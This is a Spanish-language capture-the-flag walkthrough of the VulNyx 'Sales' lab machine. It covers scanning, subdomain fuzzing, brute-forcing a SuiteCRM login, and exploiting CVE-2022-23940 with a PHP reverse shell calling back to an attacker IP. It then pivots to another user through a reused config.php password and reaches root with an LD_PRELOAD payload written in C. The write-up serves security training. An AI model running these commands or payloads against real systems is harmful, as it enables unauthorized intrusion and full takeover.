VulNyx - Sales
- Information Disclosure via Web Interface (User Enumeration)
- Subdomain Enumeration via DNS Fuzzing
- SuiteCRM Login Brute-Force (Valid Credentials Found)
- Authenticated RCE via SuiteCRM – CVE-2022-23940
- Reverse Shell via PHP Payload Execution
- Credential Disclosure via config.php (Database Password)
- User Pivoting via Password Reuse (www-data → eve)
- Privilege Escalation via LD_PRELOAD on sudo-ping
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.21
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80 172.0.100.21
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 dd:2c:11:05:8e:0a:ea:0b:df:52:60:ed:bf:b4:c2:92 (ECDSA)
|_ 256 9d:5a:c5:8d:db:27:66:ca:35:30:05:1f:ad:25:40:3f (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://sales.nyx/
|_http-server-header: Apache/2.4.62 (Debian)
HTTP TCP - 80
Se detecta un servidor web accesible desde el puerto 80.
Para facilitar el acceso por nombre de dominio, se añade una entrada al archivo /etc/hosts
.
❯ echo "172.0.100.21 sales.nyx" | sudo tee -a /etc/hosts
Una vez configurado, se accede a http://sales.nyx
y se identifica un posible nombre de usuario expuesto en la interfaz web: yuna.yoon
.
🌐 Enumeración de Subdominios (Virtual Host Fuzzing)
Dado que no se encuentra funcionalidad sensible en el dominio principal, se realiza fuzzing de subdominios utilizando ffuf
con un encabezado personalizado Host
.
❯ ffuf -t 100 -c -fw 20 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.sales.nyx" \
-u http://sales.nyx
Resultados relevantes:
www [Status: 200]
crm [Status: 301]
Se añade el nuevo subdominio al archivo /etc/hosts
:
❯ echo "172.0.100.21 crm.sales.nyx" | sudo tee -a /etc/hosts
🔐 Acceso al Panel de Login – crm.sales.nyx
Al visitar http://crm.sales.nyx
, se encuentra un panel de autenticación, lo que sugiere la posibilidad de realizar ataques por fuerza bruta sobre el login.
🧰 Generación de Wordlist Personalizada
Se utiliza cewl
para generar un diccionario personalizado a partir del contenido del sitio principal:
cewl http://sales.nyx -w passwords.txt
🔓 Fuerza Bruta de Credenciales
Se lanza un ataque de fuerza bruta con ffuf
, apuntando al formulario de login de crm.sales.nyx
utilizando el usuario previamente identificado yuna.yoon
:
❯ ffuf -r -fs 11571 \
-w passwords.txt:FUZZ \
-u "http://crm.sales.nyx/index.php" \
-d "module=Users&action=Authenticate&return_module=Users&return_action=Login&cant_login=&login_module=&login_action=&login_record=&login_token=&login_oauth_token=&login_mobile=&user_name=yuna.yoon&username_password=FUZZ&Login=Log+In" \
-H "Content-Type: application/x-www-form-urlencoded"
Credenciales válidas encontradas:
Usuario: yuna.yoon
Contraseña: ***********
⚙️ Acceso a SuiteCRM
Tras autenticarse exitosamente con las credenciales válidas, el sistema redirige al asistente de configuración de SuiteCRM.
Se completan los pasos requeridos por el asistente hasta finalizar la instalación del entorno.
📋 Panel principal
Al finalizar la configuración, se obtiene acceso al dashboard principal del CRM.
A través de la opción “About”, se identifica la versión exacta del CMS instalado.
🔍 Enumeración de versión y búsqueda de vulnerabilidades
Desde la sección “About”, se identifica la versión de SuiteCRM en uso. Con esta información, se realiza una búsqueda de vulnerabilidades conocidas:
- CVE-2022-23940 – Autenticado RCE en SuiteCRM
Se descarga el repositorio que contiene el exploit:
git clone https://github.com/manuelz120/CVE-2022-23940.git
💥 Ejecución del Exploit – RCE Autenticado
Se lanza el exploit autenticado utilizando las credenciales previamente obtenidas, especificando un payload de reverse shell en PHP:
python3 exploit.py -h http://crm.sales.nyx -u yuna.yoon -p *********** --payload "php -r '\$sock=fsockopen(\"172.0.100.25\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Se establece exitosamente una reverse shell .
🧪 Post-Explotación – Shell Estable e Interacción Mejorada
Una vez establecida la reverse shell, se realiza el tratamiento de TTY
para mejorar la experiencia de uso interactivo dentro del sistema remoto:
script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset
xterm
export TERM=xterm-256color
export SHELL=bash
source /etc/skel/.bashrc
stty rows 48 cols 200
🔍 Enumeración de Usuarios en el Sistema
Se identifica al usuario eve
como un posible objetivo para escalada lateral.
www-data@template:/var/www/suitecrm$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
eve:x:1001:1001::/home/eve:/bin/bash
🔍 Revisión de Credenciales en Archivos del Sistema
Se inspecciona el archivo config.php
de la instalación de SuiteCRM, el cual se encuentra en /var/www/suitecrm
. Este archivo contiene la configuración de conexión a base de datos, incluyendo contraseñas sensibles:
🔁 Escalada Lateral – Pivoting a Usuario eve
Se intenta cambiar al usuario eve
utilizando la contraseña obtenida previamente desde el archivo config.php
:
www-data@template:/var/www/suitecrm$ su eve
Password:
eve@template:/var/www/suitecrm$ id
uid=1001(eve) gid=1001(eve) groups=1001(eve)
Enumeración de Privilegios – sudo
El binario ping
puede ser ejecutado como root sin contraseña, lo cual representa una potencial vía de escalada de privilegios, especialmente al estar en combinación con la variable de entorno LD_PRELOAD
permitida.
eve@template:~$ sudo -l
Matching Defaults entries for eve on template:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD
User eve may run the following commands on template:
(root) NOPASSWD: /bin/ping
🚀 Escalada a Root mediante LD_PRELOAD
Se verifica en HackTricks que LD_PRELOAD
puede utilizarse para cargar una biblioteca compartida maliciosa al ejecutar binarios como root. Se crea un payload en C para ganar acceso privilegiado:
Código del exploit:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Compilación del payload:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Ejecución con escalada de privilegios:
sudo LD_PRELOAD=./pe.so /bin/ping
Acceso Root
El payload se ejecuta correctamente, y se obtiene una shell con privilegios de root, completando así la escalada de privilegios total en la máquina:
Y así concluye el viaje en la máquina Sales.
Que el destino te guíe.
Saludos.